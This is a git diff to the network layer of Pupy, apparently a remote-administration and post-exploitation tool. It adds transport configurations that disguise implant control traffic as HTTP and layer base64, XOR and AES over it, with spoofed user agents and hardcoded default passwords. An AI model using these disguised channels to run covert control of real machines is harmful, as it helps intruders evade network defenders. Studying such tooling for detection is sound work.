diff --git a/pupy/network/base.py b/pupy/network/base.py index e7b2cbc8..ef6f76d6 100644 --- a/pupy/network/base.py +++ b/pupy/network/base.py @@ -42,10 +42,15 @@ class BasePupyTransport(object): NewSubClass = type('CustomizedTransport', (cls,), kwargs) return NewSubClass + @classmethod + def custom(cls, **kwargs): + return cls.customize(**kwargs) + @classmethod def set(cls, **kwargs): return cls.customize(**kwargs) + def on_connect(self): """ We just established a connection. Handshake time ! :-) diff --git a/pupy/network/conf.py b/pupy/network/conf.py index 5c307323..9016f002 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -74,6 +74,18 @@ transports["ssl_proxy"]={ "client_transport_kwargs": {}, "server_transport_kwargs": {}, } +transports["ssl_aes"]={ + "info" : "TCP transport wrapped with SSL and AES", + "server" : PupyTCPServer, + "client": PupySSLClient, + "client_kwargs" : {}, + "authenticator" : ssl_authenticator, + "stream": PupySocketStream , + "client_transport" : AES256.set(iterations=10000), + "server_transport" : AES256.set(iterations=10000), + "client_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"}, + "server_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"}, + } transports["tcp_cleartext"]={ "info" : "Simple TCP transport transmitting in cleartext", "server" : PupyTCPServer, @@ -111,7 +123,7 @@ transports["tcp_base64"]={ "server_transport_kwargs": {}, } -transports["sync_http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ... +transports["http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ... "info" : "TCP transport using HTTP with base64 encoded payloads (synchrone with Keep-Alive headers and one 3-way-handshake)", "server" : PupyTCPServer, "client": PupyTCPClient, @@ -123,6 +135,24 @@ transports["sync_http_cleartext"]={ #TODO fill with empty requests/response betw "client_transport_kwargs": {}, "server_transport_kwargs": {}, } +transports["http_aes"]={ + "info" : "TCP transport using HTTP+AES", + "server" : PupyTCPServer, + "client": PupyTCPClient, + "client_kwargs" : {}, + "authenticator" : None, + "stream": PupySocketStream , + "client_transport" : chain_transports( + PupyHTTPClient.custom(keep_alive=True), + AES256.custom(password=scramblesuit_passwd, iterations=10000) + ), + "server_transport" : chain_transports( + PupyHTTPServer, + AES256.set(password=scramblesuit_passwd, iterations=10000) + ), + "client_transport_kwargs": {}, + "server_transport_kwargs": {}, + } transports["tcp_aes"]={ "info" : "TCP transport that encodes traffic using AES256 with a static password hashed with PBKDF2", "server" : PupyTCPServer, @@ -135,7 +165,9 @@ transports["tcp_aes"]={ "client_transport_kwargs": {"password": "pupy_t3st_p4s5word"}, "server_transport_kwargs": {"password": "pupy_t3st_p4s5word"}, } -transports["test_stacking"]={ + + +transports["trololo"]={ "info" : "test wrapping", "server" : PupyTCPServer, "client": PupyTCPClient, @@ -143,23 +175,28 @@ transports["test_stacking"]={ "authenticator" : None, "stream": PupySocketStream , "client_transport" : chain_transports( - PupyHTTPClient, - AES256.set(password="toto123", iterations=10000), - XOR.set(xorkey="trololo"), - AES128.set(password="plop123", iterations=10000), - B64Client, + PupyHTTPClient.custom(method="POST", user_agent="Mozilla 5.0", keep_alive=True), + B64Transport, + PupyHTTPClient.custom(method="GET", user_agent="Mozilla-ception", keep_alive=True), + XOR.set(xorkey="trololo"), + AES256.custom(password="plop2", iterations=10000), + AES128.custom(password="plop1", iterations=10000), ), "server_transport" : chain_transports( + PupyHTTPServer.custom(response_code="418 I'm a teapot"), + B64Transport, PupyHTTPServer, - AES256.set(password="toto123", iterations=10000), XOR.set(xorkey="trololo"), - AES128.set(password="plop123", iterations=10000), - B64Server, + AES256.set(password="plop2", iterations=10000), + AES128.set(password="plop1", iterations=10000), ), "client_transport_kwargs": {}, "server_transport_kwargs": {}, } + + + transports["async_http_cleartext"]={ "info" : "TCP transport using HTTP with base64 encoded payloads (asynchrone with client pulling the server and multiple 3-way handshakes (slow))", "server" : PupyAsyncTCPServer, @@ -167,7 +204,7 @@ transports["async_http_cleartext"]={ "client_kwargs" : {}, "authenticator" : None, "stream": PupyAsyncTCPStream , - "client_transport" : PupyHTTPClient, + "client_transport" : PupyHTTPClient.set(keep_alive=False), "server_transport" : PupyHTTPServer, "client_transport_kwargs": {}, "server_transport_kwargs": {}, diff --git a/pupy/network/transports/http.py b/pupy/network/transports/http.py index 2789f648..09b2b6d8 100644 --- a/pupy/network/transports/http.py +++ b/pupy/network/transports/http.py @@ -15,32 +15,7 @@ class InvalidHTTPReq(Exception): class MalformedData(Exception): pass -def data2http_req(data, headers): - request="GET /%s HTTP/1.1\r\n"%base64.b64encode(data) - for name, value in headers.iteritems(): - request+="%s: %s\r\n"%(name, value) - request+="\r\n" - return request -def http_req2data(s): - if not s.startswith("GET "): - raise InvalidHTTPReq() - first_line=s.split("\r\n")[0] - if not first_line.endswith(" HTTP/1.1"): - raise InvalidHTTPReq() - method, path, http_ver=first_line.split() - try: - decoded_data=base64.b64decode(path[1:]) - except: - raise MalformedData("can't decode b64") - cookie=None - try: - for line in s.split("\r\n"): - if line.startswith("Cookie"): - cookie=(line.split(":",1)[1]).split("=")[1].strip() - except: - pass - return decoded_data, cookie error_response_body="""